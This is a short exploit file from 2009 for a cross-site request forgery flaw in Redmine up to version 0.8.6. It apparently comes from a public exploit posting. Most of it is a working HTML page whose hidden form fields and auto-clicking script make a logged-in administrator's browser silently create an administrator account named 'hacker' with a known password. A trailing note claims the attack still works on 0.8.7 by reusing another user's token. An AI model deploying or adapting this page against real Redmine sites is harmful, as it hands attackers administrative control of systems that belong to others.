/** * Redmine <= 0.8.6 CSRF Add Admin User Exploit * Discovered by: p0deje (http://p0deje.blogspot.com) * Application: http://www.redmine.org/wiki/redmine/Download * SA: http://www.redmine.org/news/30 * Date: 13.11.2009 * Versions affected: <= 0.8.6 * Vulnerability: Cross-site Request Forgery * Platform: Ruby (Ruby On Rails) * Description: this is a simple exploit which use CSRF vulnerability in Redmine, creating user account with adminstartive rights */ <html> <body> <form method=POST action="http://www.vulnerable-site.org/users/new"> <input style="display: none" type="text" value="hacker" size="25" name="user[login]" id="user_login"/> <input style="display: none" type="text" value="hacker" size="30" name="user[firstname]" id="user_firstname"/> <input style="display: none" type="text" value="hacker" size="30" name="user[lastname]" id="user_lastname"/> <input style="display: none" type="text" value="hacker@hacker.com" size="30" name="user[mail]" id="user_mail"/> <input style="display: none" type="password" size="25" name="password" id="password" value="hacker" /> <input style="display: none" type="password" size="25" name="password_confirmation" id="password_confirmation" value="hacker" /> <input style="display: none" type="checkbox" value="1" name="user[admin]" id="user_admin"/> <input style="display: none" type="hidden" value="1" name="user[admin]"/> <input style="display: none" type="submit" value="Create" id="commit" name="commit" /> </form> <script>document.getElementById("commit").click();</script> </body> </html> /** * P.S. Actually, this vulnerability wasn't fixed in Redmine 0.8.7, because token was generated one time for all the pages and all the users. * Thus, you can add POST data with token of any user and exploit will get working again */